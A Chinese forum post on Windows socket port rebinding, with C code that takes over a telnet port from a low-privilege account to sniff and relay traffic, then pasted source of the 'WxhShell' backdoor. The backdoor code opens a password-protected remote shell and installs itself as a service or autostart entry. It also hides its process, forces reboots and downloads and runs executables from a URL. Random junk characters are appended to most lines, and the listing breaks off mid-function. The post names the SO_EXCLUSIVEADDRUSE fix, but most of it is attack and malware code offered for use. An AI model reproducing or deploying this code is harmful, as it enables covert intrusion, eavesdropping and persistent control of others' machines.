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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %m dtVQ@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hsrf2Xw[  
g(tVghHxt$  
  saddr.sin_family = AF_INET; @%x2d1FS  
E\DA3lq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NjZ~b/  
^wWbW&<Tg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O=+$X Pa|  
yIn$ApSGY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ? -:2f#bC  
11"r FZ  
  这意味着什么?意味着可以进行如下的攻击: q 0F6MAXj  
xE@/8h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 So!=uYX  
gZ^Qt.6Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QPB,B>Z  
;$&\ :-6A#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2kDY+AN;  
cQhr{W,Un  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v]{UH {6  
k*)sz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YhV<.2^k  
"g5{NjimY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F<b'{qf"  
\\\8{jq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s.bo;lk  
?110} [jw  
  #include \Aro Sy9  
  #include y(QFf*J  
  #include 2%fIe   
  #include    :Q"|%#P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2H4vK]]Nl  
  int main() hm73Zy  
  { RV  V`  
  WORD wVersionRequested; i:aW .QZ.  
  DWORD ret;  "&k(lQ4  
  WSADATA wsaData; #PD6LO  
  BOOL val; <9ucpV  
  SOCKADDR_IN saddr; y8s!sO  
  SOCKADDR_IN scaddr; _xv3UzD  
  int err; M]r?m@)  
  SOCKET s; =w+8q1!o  
  SOCKET sc; ISNL='%  
  int caddsize; wxvi)|)  
  HANDLE mt; VSY  p  
  DWORD tid;   I)'bf/6?  
  wVersionRequested = MAKEWORD( 2, 2 ); ujxr/8mjV  
  err = WSAStartup( wVersionRequested, &wsaData ); -&Xv,:'?  
  if ( err != 0 ) { IyHbl_ P ^  
  printf("error!WSAStartup failed!\n"); *p $0(bz  
  return -1; /_l\7MeI  
  } ?p@J7{a  
  saddr.sin_family = AF_INET; `5@F'tKQ  
   K{ar)_V/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1`7zYW&L  
"QdK Md  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Z,#H\1v3lB  
  saddr.sin_port = htons(23); cp(qaa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \PE;R.v_:  
  { rT[qh+KWe  
  printf("error!socket failed!\n"); 2.z-&lFBZ  
  return -1; Q"qI'*Kgt  
  }  viAAb  
  val = TRUE; l{Df{1b.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 L_!ShE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r+Ki`HD%  
  { O<cP1TF  
  printf("error!setsockopt failed!\n"); ;`#R9\C=h  
  return -1; :Mu*E5  
  } swF{}S"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bOj)Wu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VdK%m`;2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x>[]Qk^?q  
tsc `u>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >l &]Ho  
  { kh0cJE\_^  
  ret=GetLastError(); 4uIYX  
  printf("error!bind failed!\n"); 'vBZh1`p  
  return -1; $].htm  
  } Os"('@jd>  
  listen(s,2); 2DCQ5XewYe  
  while(1) PoF3fy%.  
  { hU#e\L 7  
  caddsize = sizeof(scaddr); h`|04Q  
  //接受连接请求 *z0d~j*W;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Lg7A[\c ~  
  if(sc!=INVALID_SOCKET) E7A!,A&>  
  { m]2xOR_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GkJcd;  
  if(mt==NULL) 3^y(@XFt  
  { @zg}x0]  
  printf("Thread Creat Failed!\n"); )J S6W  
  break; Tsg9,/vXM  
  } KR aL+A  
  } LQR2T5S/Q,  
  CloseHandle(mt); i 6G40!G=)  
  } yc](  
  closesocket(s); yQ2=d5'V`  
  WSACleanup(); +Dy^4p?o  
  return 0; iT-coI  
  }   *V6| FU  
  DWORD WINAPI ClientThread(LPVOID lpParam) o&q>[c  
  { E]`7_dG+T  
  SOCKET ss = (SOCKET)lpParam; uNzc,OH  
  SOCKET sc; p:4jY|q  
  unsigned char buf[4096]; gN=.}$Kfu  
  SOCKADDR_IN saddr; G>V6{g2Q  
  long num; 5Kg'&B (  
  DWORD val; @oAz  
  DWORD ret; "@UQSf,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vamZKm~p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   q\6(_U#Tl  
  saddr.sin_family = AF_INET; D`LBv,n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q7865  
  saddr.sin_port = htons(23); xR1G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4KH492Nq9  
  { W" 5nS =d%  
  printf("error!socket failed!\n"); )Z/"P\qo  
  return -1; $,4h\>1WP  
  } WkTJ M  
  val = 100; fM;,9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rg?6eN  
  { 7PY$=L48A  
  ret = GetLastError(); !a@)6or  
  return -1; j!u)V1,  
  } W'[V$*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cl~Yx 4  
  { X NJ4T]><  
  ret = GetLastError(); s\ -,RQ1  
  return -1; xl\Kj2^  
  } (>v'0 RA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l[}4 X/  
  { @?3f`l 9  
  printf("error!socket connect failed!\n"); Lzq/^&sc(  
  closesocket(sc); ~ nsb  
  closesocket(ss); =hPXLCeC  
  return -1; 3z+l-QO8  
  } ffrIi',@  
  while(1) ?5C'9 V  
  { 5'lPXKn+L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8%[pno |0I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]O@$}B];)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A]z*#+Sl  
  num = recv(ss,buf,4096,0); %**f`L%jN  
  if(num>0) H9cPtP~a)  
  send(sc,buf,num,0); [xMa^A>p  
  else if(num==0) j6rNt|  
  break; f O*jCl  
  num = recv(sc,buf,4096,0); N^Re  
  if(num>0) X]0>0=^  
  send(ss,buf,num,0); )[Y B&  
  else if(num==0) mayJwBfU  
  break; lE:g A,  
  } cw Obq\  
  closesocket(ss); aB]0?C y9(  
  closesocket(sc); 4DA34m(  
  return 0 ; ~^m Uu`@r  
  } 5~*)3z^V  
pCIzpEsRs  
>L7s[vKn  
========================================================== COrk (V  
Rr )+M3'  
下边附上一个代码,,WXhSHELL ht3.e[%'b  
(`P\nnb  
========================================================== }#XFa#  
[0H0%z#tU&  
#include "stdafx.h" }Z!D?(  
{0zn~+  
#include <stdio.h> zKJ2 ~=  
#include <string.h> Z~5) )5Ye;  
#include <windows.h> xUo6~9s7  
#include <winsock2.h> k:@DK9 "^  
#include <winsvc.h> +a1x;  
#include <urlmon.h> #~u0R>=  
LFp "Waiv  
#pragma comment (lib, "Ws2_32.lib") o5 L^  
#pragma comment (lib, "urlmon.lib") F@w; .e!  
NTg@UT <  
#define MAX_USER   100 // 最大客户端连接数 IrLGAQ0  
#define BUF_SOCK   200 // sock buffer iG N\ >m}  
#define KEY_BUFF   255 // 输入 buffer _fGTTw(  
%`Re {%1;  
#define REBOOT     0   // 重启 tXD$HeBB?  
#define SHUTDOWN   1   // 关机 }cKB)N BJb  
pfA6?tP`  
#define DEF_PORT   5000 // 监听端口 zkQ[<  
+X}i%F'  
#define REG_LEN     16   // 注册表键长度 "t@p9>  
#define SVC_LEN     80   // NT服务名长度 #/)t]&n  
u;#]eUk9}  
// 从dll定义API !rvEo =^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~wc :/UM|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uV/5f#)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qQ&uU7,#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p?@ %/!S  
@mp`C}x"0&  
// wxhshell配置信息 je4l3Hl  
struct WSCFG { 7e/+C{3v  
  int ws_port;         // 监听端口 :2 ;Jo^6Se  
  char ws_passstr[REG_LEN]; // 口令 <n"BPXF~  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tb/TP3N  
  char ws_regname[REG_LEN]; // 注册表键名 M>8J_{r^  
  char ws_svcname[REG_LEN]; // 服务名 i!wU8 @  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UM}u(;oo%)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }pc9uvmIJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 APQq F/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =OVDJ0ozZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G#M)5'Q]U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g?C;b>4  
bF)G+IH  
}; !3ggQG!e  
hsZ/Vnn`  
// default Wxhshell configuration H}@:Bri  
struct WSCFG wscfg={DEF_PORT, L * n K> +  
    "xuhuanlingzhe", =bVPHrKNQ  
    1, /?\3%<vn  
    "Wxhshell", G dgL}"*F  
    "Wxhshell", F MfpjuHk  
            "WxhShell Service", Hvl n>x@  
    "Wrsky Windows CmdShell Service", Wboh2:TH:  
    "Please Input Your Password: ", k4TWfl^}9  
  1, 0c_xPBbB+  
  "http://www.wrsky.com/wxhshell.exe", >tD=t8  
  "Wxhshell.exe" aQk&#OQy  
    }; IgT`on3Y  
&4#Zi.]  
// 消息定义模块 [,%=\%5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z6jEj9?O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ic& h8vSU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WzMYRKZ  
char *msg_ws_ext="\n\rExit."; 5En6f`nR{  
char *msg_ws_end="\n\rQuit."; gr=h!'m  
char *msg_ws_boot="\n\rReboot..."; %x)b Z=An  
char *msg_ws_poff="\n\rShutdown..."; +2tQ FV;  
char *msg_ws_down="\n\rSave to "; z\YIwrq3*  
,S)r%[ru^  
char *msg_ws_err="\n\rErr!"; PT"}2sR)  
char *msg_ws_ok="\n\rOK!"; tF2"IP.  
~5 ^Jv m  
char ExeFile[MAX_PATH]; H'+7z-% G  
int nUser = 0; 5xY{Q  
HANDLE handles[MAX_USER]; #cbgp;,M{I  
int OsIsNt; S63 Zk0(25  
)Q)qz$h@  
SERVICE_STATUS       serviceStatus; 6CJMQi,kn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8;PkuJR_]  
yNTd_XPL  
// 函数声明 DE?v'7cmA  
int Install(void); 4<s.|W`  
int Uninstall(void); bOY;IB _  
int DownloadFile(char *sURL, SOCKET wsh); gk]QR.  
int Boot(int flag); O&`.R|v  
void HideProc(void); lame/B&nc  
int GetOsVer(void); |WS)KR !  
int Wxhshell(SOCKET wsl); Q YJ EUC@  
void TalkWithClient(void *cs); qnm_#!&uHT  
int CmdShell(SOCKET sock); _k-_&PR  
int StartFromService(void); Cj5mM[:s  
int StartWxhshell(LPSTR lpCmdLine); O5\r%&$xd  
_z5/&tm_H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pO]gf$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^aFm6HS1  
9I/b$$?D  
// 数据结构和表定义 yMs!6c*  
SERVICE_TABLE_ENTRY DispatchTable[] = S0$^|/Sr  
{ N2r zHK  
{wscfg.ws_svcname, NTServiceMain}, :t?B)  
{NULL, NULL} }r}*=;Ea  
}; sFU< PgV  
=TB_|`5;j  
// 自我安装 &H(yLd[  
int Install(void) xn8K OwX%  
{ jU,Xlgz(A  
  char svExeFile[MAX_PATH]; qT O6I5u  
  HKEY key; Z\0Rw>#  
  strcpy(svExeFile,ExeFile); 3;nOm =I  
@sXFu[!U  
// 如果是win9x系统,修改注册表设为自启动 _1" ecaA  
if(!OsIsNt) { XTol|a=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UK`A:N2[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L"_X W no  
  RegCloseKey(key); J0G@]H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A|A~$v("R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z^Q'GBoBA  
  RegCloseKey(key); [K{{P|(q  
  return 0; y@P%t9l  
    } %idBR7?`g  
  } 7Q 3!= b  
} gLiJ&H  
else { 6W1GvM\e  
dBWny&  
// 如果是NT以上系统,安装为系统服务 WhPP4 #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tRjv  -  
if (schSCManager!=0) "CJVtO  
{ b|#=kPVgL}  
  SC_HANDLE schService = CreateService A^U84kV=  
  ( pP<8zTLn  
  schSCManager, c{#2;k Q,  
  wscfg.ws_svcname, V>6klA}o  
  wscfg.ws_svcdisp, $ {yc t  
  SERVICE_ALL_ACCESS, 4vhf!!1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  MlO OB  
  SERVICE_AUTO_START, -Cf)`/  
  SERVICE_ERROR_NORMAL, X1o",,N^M  
  svExeFile, 3bEcKA_z(  
  NULL, y]9R#\P/  
  NULL, \i.]-k  
  NULL, dab]>% M  
  NULL, -YoL.`s1   
  NULL w,{h9f  
  ); 6j E.X  
  if (schService!=0) ^'UM@dd?!  
  { N['DqS =  
  CloseServiceHandle(schService); 1v@#b@NXM7  
  CloseServiceHandle(schSCManager); W/'1ftn?D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mw[3711v  
  strcat(svExeFile,wscfg.ws_svcname); j,n:%5P\v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xfiwblg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *yq65yZi5  
  RegCloseKey(key); {q>%Sr]9  
  return 0; 1\hLwG6Jj  
    } E0HqXd?  
  } CTMC78=9}  
  CloseServiceHandle(schSCManager); Nc[@QC{  
} LF|0lAr  
} ^:9a1{L[  
h*w9{[L  
return 1; 1;B~n5C.   
} w[~G^x&  
m^X51,+<  
// 自我卸载 CS^6$VL7e  
int Uninstall(void) OVK )]- ~  
{ -jH|L{Iyq}  
  HKEY key; dPUe5k)G_  
oEIpv;:_  
if(!OsIsNt) { Rv1W&s&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Y@,iDQ  
  RegDeleteValue(key,wscfg.ws_regname); NAYLlW}A  
  RegCloseKey(key); '%$Vmf)=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dX(JV' 18A  
  RegDeleteValue(key,wscfg.ws_regname); !Tzo &G  
  RegCloseKey(key); &/@V$'G=  
  return 0; ]#0 (  
  } +eVYy_bL-  
} 1tuvJ+`{  
} ZL|aB886  
else { wMS%/l0p1  
!'f7;%7s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q4ROuE|d  
if (schSCManager!=0) @ @[xTyA  
{ ^eW<-n@^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BabaKSm}LP  
  if (schService!=0) )&6gju7(  
  { Nd8>p.iqO  
  if(DeleteService(schService)!=0) { CKAd\L   
  CloseServiceHandle(schService); 8/e-?2l  
  CloseServiceHandle(schSCManager); -CPtYG[s  
  return 0; 7x)Pt@c  
  } jAJ='|[X\  
  CloseServiceHandle(schService); 3,PR6a,b'  
  } mK:gj&N7X|  
  CloseServiceHandle(schSCManager); ^PG"  
} O9ex=m `L  
} 0`/G(ukO  
,dC.|P' `  
return 1; WJ{Iv] }9  
} 7_~ A*LM  
d$IROZK-D  
// 从指定url下载文件 b]u$!W  
int DownloadFile(char *sURL, SOCKET wsh) Xhe& "rM  
{ D4%J!L<P  
  HRESULT hr; Ak[X`e T  
char seps[]= "/"; {FI zoR"  
char *token; )uqzu%T  
char *file; rPH7 ]]  
char myURL[MAX_PATH]; i>M%)HN  
char myFILE[MAX_PATH]; aZ@pfWwa:  
Pps$=`  
strcpy(myURL,sURL); "vGh/sXW  
  token=strtok(myURL,seps); 0C4eer+D  
  while(token!=NULL) i/:L^SQAq  
  { PMjNc_))  
    file=token; U[C>Aoze  
  token=strtok(NULL,seps); *6I$N>1  
  } d4o ^+\  
2A_1E \  
GetCurrentDirectory(MAX_PATH,myFILE); MQ,K%_m8  
strcat(myFILE, "\\"); Hq.rG-,p  
strcat(myFILE, file); eV7;#w<]  
  send(wsh,myFILE,strlen(myFILE),0); Vr2A7kq  
send(wsh,"...",3,0); gP_N|LuF"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  : (UK'i  
  if(hr==S_OK) uFr12ZFgK  
return 0; "FHJ_$!  
else Q,?_;,I}  
return 1; /@:X0}L  
>n7h%c  
} P2n8HFi  
cSL6V2F  
// 系统电源模块 *\ii +f-  
int Boot(int flag) I`_2Q:r  
{ (%_X{R'  
  HANDLE hToken; l";Yw]:^  
  TOKEN_PRIVILEGES tkp; f' A$':Y  
fHiL%]z  
  if(OsIsNt) { ElO|6kOBYG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?G`m;S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _E '?U  
    tkp.PrivilegeCount = 1; CL0 lMZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9NTNulD>P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8LV6E5Q  
if(flag==REBOOT) { /2Izj/Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?LMQz=  
  return 0; bjVk9XvH6  
} @a 9.s  
else { UL[,A+X8D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j]Gn\QF  
  return 0; KV0*dB;  
} k^ <]:B  
  } !wp1Df[  
  else { =$OGHc  
if(flag==REBOOT) { suEK;Bk9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nu7>G  
  return 0; &S4*x|-C&  
} '$FF/|{  
else { ] SJ#:7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7z? ;z<VJ  
  return 0; |d0ZB_ci  
} y:)^*2GA-B  
} *}2L4]  
UZ<K'H,q  
return 1; ;JxL>K(  
} "_/ih1z]  
HH*y$  
// win9x进程隐藏模块 fd[N]I3  
void HideProc(void) )tG. 9"<  
{ ^N7H~CT"  
Pd7\Q]of  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8"%Es  
  if ( hKernel != NULL ) Q6m8N  
  { q|*^{(tWs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3(e_2v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3\W/VBJJ  
    FreeLibrary(hKernel); ^kfqw0!  
  } 2E }vuw=c  
5G355 ,}E  
return; "t^v;?4  
} t7byOMC  
exq5Zc%  
// 获取操作系统版本 L-+g`  
int GetOsVer(void) ^QNc!{`  
{ =~ Uhr6Q  
  OSVERSIONINFO winfo; ~,/@]6S&Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i"&FW&W  
  GetVersionEx(&winfo); .D@J\<,+l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q-!H7o  
  return 1; >'4A[$$4mM  
  else Ki><~!L  
  return 0; r w!jmvHE&  
} ZWkRoJXNi  
3(c-o0M  
// 客户端句柄模块 `,]Bs*~  
int Wxhshell(SOCKET wsl) CH6 m  
{ 1<ag=D`F_"  
  SOCKET wsh; ^+x?@$rq  
  struct sockaddr_in client; ^fsMfB  
  DWORD myID; * zp tbZ  
t5{P'v9J  
  while(nUser<MAX_USER) @v2<T1UC  
{ EHUx~Q   
  int nSize=sizeof(client); { b$"SIg1E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vH+g*A0S<  
  if(wsh==INVALID_SOCKET) return 1; tA#Pc6zBuC  
:|;@FkQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^}+\52w  
if(handles[nUser]==0) *73gp  
  closesocket(wsh); lp}S'^ y  
else f3O6&1D  
  nUser++; oz&`3`  
  } 6:5K?Yo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8e?/LA%MU  
'dwW~4|B  
  return 0; %jHm9{|X  
} #I=EYl=Vvi  
CNN9a7  
// 关闭 socket sqKx?r72  
void CloseIt(SOCKET wsh) wqo:gW_  
{ 2|;|C8C  
closesocket(wsh); ZPZh6^cc  
nUser--; [rx9gOOa&  
ExitThread(0); f=^xU P  
} NifQsy)*%  
<IR#W$[  
// 客户端请求句柄 e(7#>O%1  
void TalkWithClient(void *cs) ~A>fB2.pM  
{ yz68g?"  
j4IVIj@$ `  
  SOCKET wsh=(SOCKET)cs; =e6p v#  
  char pwd[SVC_LEN]; -$8ew+  
  char cmd[KEY_BUFF]; [oh06_rB  
char chr[1]; zA5nr`  
int i,j; e \Qys<2r  
!@& 3q|  
  while (nUser < MAX_USER) { FW-I|kK.  
}StzhV{GS  
if(wscfg.ws_passstr) { akvi^]x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -+E.I*st  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^xHKoOTj[  
  //ZeroMemory(pwd,KEY_BUFF); IWE([<i}i[  
      i=0; mI8EeMa{  
  while(i<SVC_LEN) { `Na()r$T  
"VZ1LVI  
  // 设置超时 y`RzcXblIZ  
  fd_set FdRead; LhO\a  
  struct timeval TimeOut; 5Od%Jhtt  
  FD_ZERO(&FdRead); hF$`=hE,F~  
  FD_SET(wsh,&FdRead); @JGmOwZ  
  TimeOut.tv_sec=8; +JErc)%  
  TimeOut.tv_usec=0; =7V4{|ESfy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ehW[LRtq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qcs) p  
_UVpQ5pN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ob>)F^.iS  
  pwd=chr[0]; eB~\~@  
  if(chr[0]==0xd || chr[0]==0xa) {  u 8o!  
  pwd=0; JwMRquQv  
  break; @V:K]M 5  
  } Aits<0  
  i++; h@`Rk   
    } O=A R`r#u  
g}%ODa !H  
  // 如果是非法用户,关闭 socket ;7\Fx8"s[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h8(#\E  
} ZuGSRGX'  
KZ2[.[(Ph  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3A,N1OXG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WRZpu95v  
}sxs-  
while(1) { +Q+O$-a <  
N|i>|2EB  
  ZeroMemory(cmd,KEY_BUFF); !` 1h *}  
eV"%(<{  
      // 自动支持客户端 telnet标准   Ke4oLF2  
  j=0; oB 1Qw'J w  
  while(j<KEY_BUFF) { w>2lG3H<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Onx6Fy]L  
  cmd[j]=chr[0]; 3#t9pI4  
  if(chr[0]==0xa || chr[0]==0xd) { IRg2\Hq  
  cmd[j]=0;  /!ElAL  
  break; $^Xxn.B9  
  } ~);4O8~.  
  j++; e]1=&:eX#d  
    } Owf!dMA;nF  
kZF]BPh.  
  // 下载文件 \oPe" k=  
  if(strstr(cmd,"http://")) { _4>DuklH,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;"&?Okz  
  if(DownloadFile(cmd,wsh)) %<kfW&_>w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {jD?obs  
  else jnqp" Ult>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LGL;3EI  
  } +c_AAMe  
  else { s{dm,|?Jl,  
<pk*z9   
    switch(cmd[0]) { [j@ek  
  A}Iyl   
  // 帮助 E6GubU  
  case '?': { <qR$ `mLN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !IOmJpl'  
    break; 6Y2,fW8i,  
  } )?[2Y%P  
  // 安装 "1s ]74  
  case 'i': { )FwOg;=3M"  
    if(Install()) =\]gL%N-|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w5z]=dN  
    else mRx `G(u:v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b_Y+XXb<  
    break; 9SeGkwec?$  
    } (`4&h%g  
  // 卸载 cP tDIc,  
  case 'r': { gp9O%g3'  
    if(Uninstall()) -}m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  *wJ$U  
    else u8 k^\Do  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ai?uJ}  
    break; L~ax`i1:"  
    } XF: wsC  
  // 显示 wxhshell 所在路径 EG\L]fmD  
  case 'p': { Sp[9vlo8  
    char svExeFile[MAX_PATH]; $MasYi  
    strcpy(svExeFile,"\n\r"); ~"S5KroN  
      strcat(svExeFile,ExeFile); J.rS@Z`~7  
        send(wsh,svExeFile,strlen(svExeFile),0); rX$-K\4W  
    break; R}Zaz3( Hd  
    } *?Eu{J){7%  
  // 重启 ]yKwH 9sl  
  case 'b': { wp:$Tqa$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8TYh&n=r  
    if(Boot(REBOOT)) eQQVfEvS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 87[o^)8  
    else { %;4#?.W8  
    closesocket(wsh); _3 [E$Lg  
    ExitThread(0); wSjy31  
    } fyUW;dj  
    break; M}jl \{  
    } TJP;!uX  
